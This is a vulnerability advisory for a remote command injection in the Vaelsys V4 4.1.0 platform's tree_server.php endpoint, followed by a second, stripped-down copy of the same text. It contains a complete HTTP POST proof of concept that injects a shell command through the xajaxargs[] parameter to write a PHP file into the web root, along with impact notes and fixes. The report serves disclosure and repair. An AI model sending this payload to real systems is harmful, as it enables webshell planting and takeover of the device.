Vaelsys V4 Platform Remote Command Execution (RCE) vulnerability v4.1.0
NAME OF AFFECTED PRODUCT(S)
Vendor Homepage
submitter
Vulnerable File
- POST /tree/tree_server.php
VERSION(S)
PROBLEM TYPE
Vulnerability Type
- Remote Command Execution (RCE)
Root Cause
- The root cause of this vulnerability is improper input validation and sanitization of the xajaxargs[] parameter within the tree_server.php script.
Insecure API Sinks: The backend application likely utilizes dangerous PHP system execution functions such as system(), exec(), or shell_exec() to interact with the underlying operating system.
Lack of Escaping: The application fails to sanitize shell metacharacters. By injecting a semicolon ;, the attacker terminates the intended command and forces the shell to execute a second, arbitrary command.
Impact
-
Remote Code Execution (RCE): By writing a new .php file to the server, the attacker gains a persistent "Webshell," allowing them to execute any PHP or system command remotely.
-
Full Data Access: The attacker can read, modify, or delete any files accessible by the nginx user, including configuration files, databases, and user data.
-
Persistent Access: Even if the original timezone command is fixed, the created file (23.php) remains on the server as a backdoor..
-
Lateral Movement: The compromised device can be used as a "beachhead" or proxy to scan and attack other internal assets within the organization's network.
Vulnerability details and POC
Vulnerability location:
- POST /tree/tree_server.php
Payload:
Parameter:
tree_server.php (POST) with xajaxargs[] parameter
Payload:
POST /tree/tree_server.php HTTP/1.1
Host: [Target IP]
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=c7evt1rlos68m2b5tf5h1qqmd5; authchallenge=4a935d4d9019922ff18180d88e9a4efb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: */*
Referer: http://Target IP/configuration.php?action=changedefpass
Content-Type: application/x-www-form-urlencoded
xajax=execute_DataObjectProc&xajaxargs[]=auth&xajaxargs[]=setSystemTimezone&xajaxargs[]=<xjxobj><e><k>1</k><v>; echo '<?php echo"hello222211111world222";?>' > /opt/vaelsysV4/www/23.php; #</v></e></xjxobj>
The following are screenshots for POC:
;: Terminates the previous legitimate system command.
echo '...' > .../23.php: Injects a PHP code snippet into a new file named 23.php in the web directory.
#: Comments out the rest of the original command string to prevent syntax errors that might alert administrators or stop execution.
Confirmation: The response shows HTTP/1.1 200 OK and an XML response indicating the system timezone was "updated successfully," but the underlying shell has already executed the echo command and created the backdoor file.
Suggested repair
-
Input validation and filtering:
Implement a strict allow-list for xajaxargs[] the parameter (e.g., ensure it only contains alphanumeric characters)..
-
Use Escaping Functions:
If shell execution is unavoidable, wrap the input in escapeshellarg() to neutralize metacharacters.
-
Regular security audits:
Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.
Vaelsys V4 Platform Remote Command Execution (RCE) vulnerability v4.1.0
NAME OF AFFECTED PRODUCT(S)
Vendor Homepage
submitter
Vulnerable File
VERSION(S)
PROBLEM TYPE
Vulnerability Type
Root Cause
Insecure API Sinks: The backend application likely utilizes dangerous PHP system execution functions such as system(), exec(), or shell_exec() to interact with the underlying operating system.
Lack of Escaping: The application fails to sanitize shell metacharacters. By injecting a semicolon ;, the attacker terminates the intended command and forces the shell to execute a second, arbitrary command.
Impact
Remote Code Execution (RCE): By writing a new .php file to the server, the attacker gains a persistent "Webshell," allowing them to execute any PHP or system command remotely.
Full Data Access: The attacker can read, modify, or delete any files accessible by the nginx user, including configuration files, databases, and user data.
Persistent Access: Even if the original timezone command is fixed, the created file (23.php) remains on the server as a backdoor..
Lateral Movement: The compromised device can be used as a "beachhead" or proxy to scan and attack other internal assets within the organization's network.
Vulnerability details and POC
Vulnerability location:
Payload:
The following are screenshots for POC:
;: Terminates the previous legitimate system command.
echo '...' > .../23.php: Injects a PHP code snippet into a new file named 23.php in the web directory.
#: Comments out the rest of the original command string to prevent syntax errors that might alert administrators or stop execution.
Confirmation: The response shows HTTP/1.1 200 OK and an XML response indicating the system timezone was "updated successfully," but the underlying shell has already executed the echo command and created the backdoor file.
Suggested repair
Input validation and filtering:
Implement a strict allow-list for xajaxargs[] the parameter (e.g., ensure it only contains alphanumeric characters)..
Use Escaping Functions:
If shell execution is unavoidable, wrap the input in escapeshellarg() to neutralize metacharacters.
Regular security audits:
Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.